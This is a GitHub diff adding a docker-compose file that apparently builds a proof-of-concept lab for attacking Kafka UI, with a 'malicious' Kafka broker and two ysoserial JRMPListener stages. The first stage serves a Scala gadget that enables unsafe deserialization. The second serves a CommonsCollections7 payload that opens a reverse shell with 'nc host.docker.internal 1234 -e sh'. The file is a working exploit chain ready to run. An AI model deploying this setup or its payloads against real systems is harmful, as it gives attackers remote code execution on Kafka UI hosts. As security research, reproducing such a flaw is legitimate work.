File tree Expand file tree Collapse file tree 1 file changed +56
-0
lines changed Expand file tree Collapse file tree 1 file changed +56
-0
lines changed Original file line number Diff line number Diff line change
1
+ version : ' 3'
2
+ services :
3
+ zookeeper :
4
+ image : ' confluentinc/cp-zookeeper:7.6.1'
5
+ environment :
6
+ ZOOKEEPER_CLIENT_PORT : 2181
7
+
8
+ kafka :
9
+ image : ' confluentinc/cp-kafka:7.6.1'
10
+ depends_on :
11
+ - zookeeper
12
+ ports :
13
+ - 9092:9092
14
+ environment :
15
+ KAFKA_ZOOKEEPER_CONNECT : ' zookeeper:2181'
16
+ KAFKA_ADVERTISED_LISTENERS : PLAINTEXT://kafka:9092
17
+ KAFKA_LISTENER_SECURITY_PROTOCOL_MAP : PLAINTEXT:PLAINTEXT
18
+ KAFKA_INTER_BROKER_LISTENER_NAME : PLAINTEXT
19
+
20
+ kafka-ui :
21
+ image : provectuslabs/kafka-ui:v0.7.1
22
+ depends_on :
23
+ - kafka
24
+ ports :
25
+ - 8091:8080
26
+ - 5005:5005
27
+ environment :
28
+ KAFKA_CLUSTERS_0_NAME : local
29
+ KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS : ' kafka:9092'
30
+ KAFKA_CLUSTERS_0_ZOOKEEPER : ' zookeeper:2181'
31
+ DYNAMIC_CONFIG_ENABLED : ' true'
32
+ JAVA_TOOL_OPTIONS : ' -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005'
33
+
34
+ kafka-malicious-broker :
35
+ image : ' confluentinc/cp-kafka:7.6.1'
36
+ depends_on :
37
+ - zookeeper
38
+ ports :
39
+ - 9093:9093
40
+ environment :
41
+ KAFKA_ZOOKEEPER_CONNECT : ' zookeeper:2181'
42
+ KAFKA_ADVERTISED_LISTENERS : PLAINTEXT://host.docker.internal:9093
43
+ KAFKA_LISTENER_SECURITY_PROTOCOL_MAP : PLAINTEXT:PLAINTEXT
44
+ KAFKA_INTER_BROKER_LISTENER_NAME : PLAINTEXT
45
+
46
+ ysoserial-stage1 :
47
+ build : https://github.com/artsploit/ysoserial.git#scala1
48
+ ports :
49
+ - 1718:1718
50
+ entrypoint : java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
51
+
52
+ ysoserial-stage2 :
53
+ build : https://github.com/artsploit/ysoserial.git#scala1
54
+ ports :
55
+ - 1719:1719
56
+ entrypoint : java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh"
You can’t perform that action at this time.
0 commit comments